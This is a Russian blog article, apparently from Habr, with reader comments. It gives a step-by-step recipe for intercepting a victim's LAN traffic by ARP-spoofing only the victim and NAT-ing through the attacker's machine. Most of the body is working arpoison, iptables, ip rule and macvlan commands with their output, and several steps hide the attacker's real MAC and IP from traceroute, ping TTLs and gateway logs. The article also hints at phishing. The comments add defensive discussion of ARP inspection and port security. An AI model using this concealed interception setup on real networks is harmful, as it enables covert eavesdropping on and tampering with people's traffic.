Еще один способ перехвата трафика через ARP Spoofing

    На Хабре было уже много статей на тему классического ARP спуфинга, однако все они были похожи тем, что для полноценного перехвата трафика надо было подменять ARP записи у двух машин. Как правило, это жертва и ее шлюз по умолчанию. Однако, идея спуфить шлюз не всегда хороша. Он вполне может иметь на борту детектор атак, который в два счета доложит админу что сеть ломают и халява кончится, не начавшись. В данной статье будет рассмотрен метод перехвата трафика, при котором атака производится только на хост-жертву. Как обычно в таких случаях, статья чисто для ознакомления, использование во вред карается по закону и т.д.
    Под катом много букв.



    Сразу оговорюсь, что для атак будет использоваться Linux. Профессионалам сетевой безопасности просьба ногами не бить.

    Чуть-чуть об ARP


    При написании статьи я буду исходить из того, что читающий хотя бы примерно знает, кто такой ARP, зачем и как он работает. Почитать можно тут. Если совсем вкратце, то ARP используется для того, чтобы понять, на какой физический MAC-адрес слать пакет, если известен IP получателя. Соответственно, подменив настоящий MAC адрес некоторого узла на свой в ARP таблице жертвы, мы добьемся того, что пакеты для такого узла жертва пошлет нам. Мы же можем как напрямую переслать такие пакеты до настоящего получателя, так и менять их на ходу перед отправкой. Здесь есть одна проблема. Если просто пересылать пакеты дальше, то мы увидим лишь половину трафика, так как получатель будет отправлять ответ жертве напрямую. Обычно для решения этой проблемы получатель делается второй жертвой и подвергается симметричной атаке. Но с другой стороны, обычно хочется перехватить интернет-трафик жертвы, а значит получателем будет сетевой шлюз. И если этот шлюз не простой домашний роутер, а что-то более серьезное, то проводить на него ARP атаку крайне нежелательно.

    Простой вариант атаки


    Итак, пусть мы хотим перехватить трафик жертвы, при этом мы можем слать «заведомо паленые» пакеты только на машину жертвы. Решение состоит в том, чтобы поднять у себя на машине NAT и вместо прямой пересылки отправлять трафик на шлюз уже со своего интерфейса. В этом случае мы работаем для жертвы как еще один NAT-шлюз.

    Конфигурация сети

    Пусть есть в сеть 192.168.0.0/24 со шлюзом 192.168.0.1. Для удобства, пусть MAC адреса адаптеров будут вида 00-00-00-00-00-XX, где XX — последняя цифра IP адреса, то есть MAC шлюза у нас будет 00-00-00-00-00-01.

    В сети есть машины:

    192.168.0.1 / 00-00-00-00-00-01 — шлюз
    192.168.0.3 / 00-00-00-00-00-03 — жертва

    eth0192.168.0.5 / 00-00-00-00-00-05 — наша машина, с которой будем атаковать. В сеть подключен единственный сетевой интерфейс eth0

    Утилиты

    Для ARP спуфинга будем использовать утилиту arpoison. Она, в отличие, от arpspoof из пакета dsniff, не требует корректной IP конфигурации интерфейса, с которого происходит спуфинг (это нам понадобится чуть позже).

    Поехали

    Итак, для начала разрешим маршрутизацию пакетов:
    # sysctl net.ipv4.ip_forward = 1
    # iptables -A FORWARD -j ACCEPT
    

    теперь запустим ARP спуфинг:
    # arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:05
    ARP reply 1 sent via eth0
    ARP reply 2 sent via eth0
    ARP reply 3 sent via eth0
    

    все, машина жертвы теперь уверена, что 192.168.0.1 — это наш eth0. Можно проверить и убедиться (выполняем на жертве):
    # arp
    Address                  HWtype  HWaddress           Flags Mask            Iface
    192.168.0.1              ether   00:00:00:00:00:05   C                     eth0
    

    поднимаем на нашей машине NAT (для простоты будет маскарадить все, что форвардится и отправлено не на localhost):
    # iptables -t nat -A POSTROUTING ! -d 127.0.0.1/8 -j MASQUERADE
    

    готово. Проверяем, пингуя шлюз с жертвы, на нашей машине видим примерно такую картину:
    # tcpdump -i eth0 -ne icmp
    14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356578 00:00:00:00:00:05 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.5 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64
    14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    

    видно, что пинг пришел к нам, от нас с нашего IP ушел на шлюз, а вернувшийся ответ ушел отправителю. Словом, обычный NAT.

    Усложняем задачу


    Трафик-то мы перехватили, однако умудрились при этом засветить свой IP и MAC, что позволит взять нас за мягкое место при первом открытии wireshark на жертве или при просмотре логов на шлюзе. Попробуем повторить фокус, но при этом наследить поменьше. Для этого поднимем виртуальный адаптер с другимb MAC и IP.

    Cоздаем адаптер, он получит случайный MAC, пусть у нас он будет 00-00-00-00-00-06:
    # ip link add link eth0 dev virt0 type macvlan
    # ifconfig virt0 up
    # ifconfig virt0
    virt0: flags=4098<BROADCAST,MULTICAST>  mtu 1500
            ether 00:00:00:00:00:06  txqueuelen 0  (Ethernet)
            RX packets 0  bytes 0 (0.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 0  bytes 0 (0.0 B)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    

    пропишем IP адрес или возьмем его по DHCP. Во втором случае после получения адреса не забываем выкинуть все маршруты через virt0:
    # dhcpcd virt0
    dhcpcd[28920]: version 6.3.2 starting
    dhcpcd[28920]: DUID 00:01:00:01:19:9d:11:86:00:00:00:00:00:05
    dhcpcd[28920]: virt0: IAID 00:e8:8a:01
    dhcpcd[28920]: virt0: soliciting an IPv6 router
    dhcpcd[28920]: virt0: soliciting a DHCP lease
    dhcpcd[28920]: virt0: offered 192.168.0.6 from 192.168.0.1
    dhcpcd[28920]: virt0: leased 192.168.0.6 for 3600 seconds
    dhcpcd[28920]: virt0: adding route to 192.168.0.0/24
    dhcpcd[28920]: virt9: adding default route via 192.168.0.1
    dhcpcd[28920]: forked to background, child pid 29059
    # dhcpcd -x virt0
    dhcpcd[29192]: sending signal TERM to pid 29059
    dhcpcd[29192]: waiting for pid 29059 to exit
    # ifconfig virt0 down
    # ifconfig virt0 up
    

    после таких манипуляций у нас должен появиться адаптер virt0 с MAC 00-00-00-00-00-06 и IP 192.168.0.6 и без единого маршрута через него.

    Следующим этапом добавляем правило маршрутизации при котором все пакеты, пришедшие с virt0, будут пересылаться через него же:
    # ip route add 192.168.0.0/24 dev virt0 table 100
    # ip rule add iif virt0 lookup 100
    # ip route show table 100
    192.168.0.0/24 dev virt0  scope link 
    # ip rule
    0:      from all lookup local 
    32765:  from all iif virt0 lookup 100 
    32766:  from all lookup main 
    32767:  from all lookup default 
    

    Теперь можно запустить спуфинг и посмотреть, что получилось:
    # arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00:00:00:00:00:03 -r 00:00:00:00:00:06
    

    # tcpdump -i eth0 -ne icmp
    14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:05, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
    14:26:25.356835 00:00:00:00:00:05 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    

    на первый взгляд все красиво, однако мы засветили свой настоящий MAC. Произошло это потому, что на ARP запрос, какой MAC у 192.168.0.6 наша машина радостно ответила шлюзу настоящим адресом сетевой карты. Чтобы такого не было, надо сделать следующее:
    # sysctl net.ipv4.conf.all.arp_ignore=1
    

    теперь на ARP запросы будет отзываться только настоящий адаптер. Осталось решить проблему доставки MAC адреса виртуального адаптера шлюзу. Можно это сделать например тем же arpoison, указав настоящие адреса и интервал побольше. В этом случае такие ARP ответы не должны вызвать подозрение:
    # arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00:00:00:00:00:01 -r 00:00:00:00:00:06 -w 5
    

    все, теперь шлюз знает, куда отправить ответ и картинка становится красивой:

    # tcpdump -i eth0 -ne icmp
    14:26:25.356528 00:00:00:00:00:03 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.3 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356578 00:00:00:00:00:06 > 00:00:00:00:00:01, ethertype IPv4 (0x0800), length 98: 192.168.0.6 > 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64
    14:26:25.356796 00:00:00:00:00:01 > 00:00:00:00:00:06, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64
    14:26:25.356835 00:00:00:00:00:06 > 00:00:00:00:00:03, ethertype IPv4 (0x0800), length 98: 192.168.0.1 > 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
    


    Осталась самая малость. Во-первых запретить системе принимать входящие (не пересылаемые) пакеты на виртуальном интерсейсе, чтоб кто-нибудь любопытный не сравнил список сервисов на 192.168.0.6 и 192.168.0.5

    # iptables -A INPUT -i virt0 -j DROP
    


    Во-вторых (спасибо AEP) выключить отправку ICMP time exceeded in-transit, чтобы в traceroute не появился наш реальный адрес
    # iptables -A OUTPUT -p icmp --icmp-type 11 -j DROP
    


    В третьих (спасибо kay) добавить увеличение TTL, чтобы на пингах и в traceroute не было видно факта маршрутизации через нас
    # iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1
    


    Вместо заключения


    В итоге у нас получилось перехватить трафик, атаковав только машину жертвы, не засветив при этом свои реальные IP и MAC. Перехваченные пакеты при этом маршрутизируются стандартными средствами. Также можно настроить более веселые правила маршрутизации, открыть на virt0 80 порт и позаниматься фишингом, но это уже другая история.

    UPD: было бы интересно почитать в комментах, как такую схему все таки можно запалить, не имея в сети l3 маршрутизации.

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 30

      +1
      Идеи навскидку, возможно глупые: traceroute до чего угодно, ping шлюза (смотреть на ttl, который NAT'ом уменьшается на 1)
        0
        Спасибо, traceroute и правда палит контору.
          0
          А в нем можно просто не уменьшать TTL? Наверняка ведь можно.

          Но каким параноиком надо быть, чтобы при подключении к новой сети первым делом делать tracert?
            +1
            iptables -t mangle -I PREROUTING -j TTL --ttl-inc 1
              0
              Спасибо, добавил в пост.
        +2
        было бы интересно почитать в комментах, как такую схему все таки можно запалить, не имея в сети l3 маршрутизации.

        www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/book/dynarp.html
        И всё, ARP атаки исключены. Вкратце: когда порт видит входящий ARP пакет, он сверяет комбинацию IP/mac/порт с имеющимся в таблице, которая заполняется либо из наблюдения за DHCP обменом, либо руками. Попытаетесь подставить чужие — пакет дропнут и алерт поднимут.

        Следующий момент. Как только вы шлете пакет с новым маком до того, как заекспайрился старый (обычно — несколько минут), и на порту свитча настроен port-security с лимитом в один мак, то вы сразу спалились. Как и в предыдущем случае, спалитесь сразу номером порта, а не только маком.

        А причем тут L3 маршрутизация вообще?
        Как правило, это жертва и ее шлюз по умолчанию. Однако, идея спуфить шлюз не всегда хороша. Он вполне может иметь на борту детектор атак, который в два счета доложит админу что сеть ломают и халява кончится, не начавшись.

        Обычно на шлюзе детекторов L2 атак нет вообще, ну помимо общего функционала CoPP :) Ну как он отличит корректный arp пакет от некорректного, если оба прилетают с одного L3 интерфейса? Какая-то навороченная эвристика? От нее будет больше вреда, чем пользы. Отключить обработку GARP'ов? Ну это в большинстве сред вызовет беду.

        Такие вещи всегда детектируются на уровне L2 порта. И нет никакой разницы, атакуете вы шлюз или соседа.
          0
          Все так. Если все свичи в сети с детекторами, то ловить нечего. Но часто бывает, что нормальные умные свичи только в «центре», а вокруг все разнесено на неуправляемых. Такой случай и описан.
            0
            Бывает, но от такого ужаса стараются избавляться. Начать с того, что пользователи очень любят тем или иным образом соединять два порта на свитче, и в случае наличия неуправляемого свитча разбирательство может затянуться (бывало), а в случае нормального оборудования никакой проблемы изначально и не возникнет.
              0
              Ну и кстати arp — все-таки широковещательный пакет. Если в центре стоит умный свитч, а от него расходится гирлянда безмозглых, он все равно получит копию arp пакета, не соответствующего информации из таблицы DHCP. Помешать атаке в пределах ветки гирлянды он не сможет, но вот тревогу поднять — запросто.
                0
                А вот нет. Спуфинг производится не широковещательными пакетами. ARP Reply получает только атакуемый. В этом и идея поста.
                  0
                  Хотя да, тоже верно. Но не ошибитесь и не начните атаковать того, к кому идти через умный свитч :)

                  Ну и, понятное дело, сам умный свитч вы таким образом атаковать не сможете, так как он помнит, какой мак запрашивал по DHCP присылаемый в ARP IP адрес.
                    0
                    В таком раскладе умный свитч как раз в роли шлюза будет. Ему будет сгружен честный DHCPшный мак. А вот в роли жертвы — да, не получится.
            0
            А разве древний Cain не тоже самое делает? Там надо указать лишь две точки(не обязательно шлюз) и вуаля — он еще для самых ленивых перехваченную инфу по полочкам разложит и отпарсит.
              0
              Отпарсить — это дело десятое, если трафик перехвачен. Насчет то же самое — не уверен. Как минимум он спуфит оба хоста. Как максимум может спалить реальный адрес. И самый главный недостаток — он под винду, где тривиальные вещи по настройке сети превращаются в головную боль.
                –1
                Это удобный и безотказный инструмент, куда встроено помимо собственно спуфинга еще несколько полезных вещей. И мак там эмулируется, а уж айпи так и вовсе не проблема. Насчет отпарсить не проблема — в пентесте и так много мелкой работы, тут хоть некоторая значительная часть с плеч сваливается.
                  0
                  В свое время он был лучшим. Но сейчас, насколько я знаю, все пользуются не им, а Kali Linux.
                    0
                    -
                      +1
                      Не знаю, в чем проблема пользоваться и тем, и другим. Я в работе использую Cain в обязательном порядке, Kali Linux тоже, но практика показывает, что «обычные» уязвимости в большинстве случаев прикрыты и самый верный вариант проникновения изнутри — это слабая парольная политика и человеческий фактор(юзеры с админскими правами, plain-text аутентификация на сервисах, инвентарная документация в общем доступе). Метасплоит вообще в наше время архиредко срабатывает — слишком оперативные обновления ПО сейчас.
                      0
                      Кстати, есть ли где-нибудь детальное описалово, как он (Cain) работает внутри?
                  0
                  Еще предлагаю со шлюза попинговать жертву. Или послать какой-нибудь пакет на закрытый порт. Правильно ли я понимаю, что ICMP-ответ или TCP RST пойдет через NAT и тем самым спалит посредника через IP источника?
                    0
                    Интересное замечание, надо проверить, скорее всего так и будет и в итоге ответа на шлюзе без tcpdump мы не увидим. В случае, когда нужен полноценный двусторонний обмен, придется по-честному спуфить обоих.
                    0
                    Еще непроверенная идея: со шлюза послать nping'ом какой-нибудь UDP-пакет с произвольным заспуфленным IP источника, с самим шлюзом в качестве IP назначения, и с broadcast'ом (ff:ff:ff:ff:ff:ff) в качестве MAC'а назначения. По идее, такое должно пройти через NAT (где бы он ни был), вернуться, и тем самым выдать себя.
                      0
                      А нет, не прокатывает. L2 Broadcast'ы почему-то не попадают в FORWARD.
                        0
                        В общем случае да, должно сработать. Возможно, надо их в iptables разрешить. Написал, а потом подумал, что такой пакет шлюз сам тут же и поймает не отходя от кассы. IP-то его.
                          0
                          Пакеты наружу таки уходят. Злоумышленник их tcpdump'ом видит. Просто на машине злоумышленника эти пакеты не попадают ни в INPUT, ни в FORWARD (проверял через -j LOG). Если использовать в качестве MAC'а назначения не ff:ff:ff:ff:ff:ff, а MAC злоумышленника, то и tcpdump видит, и протоколируется, и через NAT проходит, и возвращается. Только толку от этого нет, т.к. надо знать MAC.
                            0
                            В INPUT точно не могут попадать. Туда попадает только то, что послано на IP адаптера, а у нас IP назначения другой. В FORWARD по идее должно лезть, но, видимо, мак мешает…
                              0
                              Собственно, разобрался.

                              См. github.com/torvalds/linux/blob/master/net/ethernet/eth.c, функцию eth_type_trans(). Она метит полученные пакеты с MAC'ом назначения ff:ff:ff:ff:ff:ff как PACKET_BROADCAST. А теперь см. github.com/torvalds/linux/blob/master/net/ipv4/ip_forward.c, функцию ip_forward(). Она в первую очередь отбрасывает все пакеты, помеченные не как PACKET_HOST.
                          0
                          Я правилбно понимаю, это так же можно провернуть в офисной сети с поднятой VM на ноуте
                            0
                            Конечно же можно. Если поймают — надают по шарам и выгонят с работы. Часть способов ловли я описал выше, есть и другие, подразумевающие более глубокий анализ трафика на стороннем IDS.
                              0
                              Да не, я коллегу предупрежу, прост ради практики.

                          Only users with full accounts can post comments. Log in, please.